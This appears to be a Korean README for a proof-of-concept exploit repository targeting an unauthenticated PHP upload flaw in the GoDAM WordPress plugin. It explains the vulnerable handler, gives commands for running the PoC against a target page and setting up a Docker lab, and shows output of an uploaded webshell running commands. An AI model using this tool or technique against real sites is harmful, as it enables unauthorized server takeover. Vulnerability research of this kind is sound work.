
GoDAM WordPress plugin <= 1.12.2 unauthenticated file upload RCE (CVE-2026-14282)
저자: nullwhisper
사용 용도: 승인된 보안 연구 / 취약점 검증 전용입니다.
GoDAM WordPress 플러그인 <= 1.12.2 버전은 godam_record라는 WPForms 필드를 등록합니다. 업로드 핸들러 save_video_file()은 공개 wpforms_process_before_filter 액션에 연결되어 인증 확인보다 먼저 실행됩니다. 이 핸들러는 공격자가 제어하는 Content-Type 헤더를 신뢰하며, MIME 타입이 video/로 시작하기만 하면 PHP 파일을 허용한 뒤 웹에서 접근 가능한 디렉토리인 wp-content/uploads/godam/wpforms/로 이동시킵니다. 이를 통해 인증되지 않은 공격자가 임의의 PHP 코드를 업로드하고 실행할 수 있습니다.
.
├── cve_2026_14282_poc.py # Main PoC
├── lab/
│ ├── docker-compose.yml # WordPress lab
│ └── setup.php # Creates a WPForms form with GoDAM field
├── requirements.txt
└── README.md
pip3 install -r requirements.txt
python3 cve_2026_14282_poc.py -u https://target.com/page-with-form
스크립트는 WPForms 양식 ID와 GoDAM 필드 ID를 자동으로 감지합니다. 페이지에 여러 양식이 있거나 감지에 실패한 경우 다음을 사용하세요:
python3 cve_2026_14282_poc.py -u https://target.com/page-with-form \
--form-id 4 --field-id 1 --cmd "whoami"
취약한 플러그인을 다운로드합니다 (바이너리를 재배포하지 마세요):
mkdir -p lab/wpforms-lite lab/godam
cd lab/wpforms-lite
wget https://downloads.wordpress.org/plugin/wpforms-lite.latest-stable.zip
unzip wpforms-lite.latest-stable.zip
rm wpforms-lite.latest-stable.zip
cd ../godam
wget https://downloads.wordpress.org/plugin/godam.1.12.2.zip
unzip godam.1.12.2.zip
rm godam.1.12.2.zip
cd ../..
실습 환경을 시작합니다:
cd lab
docker compose up -d
http://127.0.0.1:8092에서 WordPress 설치 프로그램을 완료합니다.
플러그인을 설치하고 활성화한 다음 양식과 테스트 페이지를 생성합니다:
docker exec -i lab-wpcli-1 wp plugin activate wpforms-lite --allow-root
docker exec -i lab-wpcli-1 wp plugin activate godam --allow-root
docker exec -i lab-wpcli-1 php /tmp/setup.php
PoC를 실행합니다:
python3 cve_2026_14282_poc.py -u 'http://127.0.0.1:8092/?page_id=7' --cmd 'echo PWNED'
WordPress 6.8 + WPForms Lite 최신 버전 + GoDAM 1.12.2에서 테스트했습니다.
[*] Detecting WPForms form and GoDAM field...
[*] Found form ID 4, GoDAM field(s): 1
[*] Trying upload via field 1...
[+] Shell uploaded and executed: http://127.0.0.1:8092/wp-content/uploads/godam/wpforms/godam-shell.php
[+] Output: GODAM-RCE-Linux ... uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Command output:
GODAM-RCE-Linux ... PWNED
이 저장소에는 PoC와 실습 환경 오케스트레이션 파일만 포함되어 있습니다. 취약한 플러그인 바이너리는 저장소 비대화와 배포 문제를 피하기 위해 제외했습니다. 자체 실습 환경을 위해 WordPress.org에서 특정 취약 버전을 다운로드하세요.
이 도구는 승인된 보안 테스트 및 연구 전용입니다. 소유하지 않았거나 명시적으로 테스트 허가를 받지 않은 시스템에는 사용하지 마세요. 작성자는 이 코드로 인한 오용 또는 피해에 대해 책임을 지지 않습니다.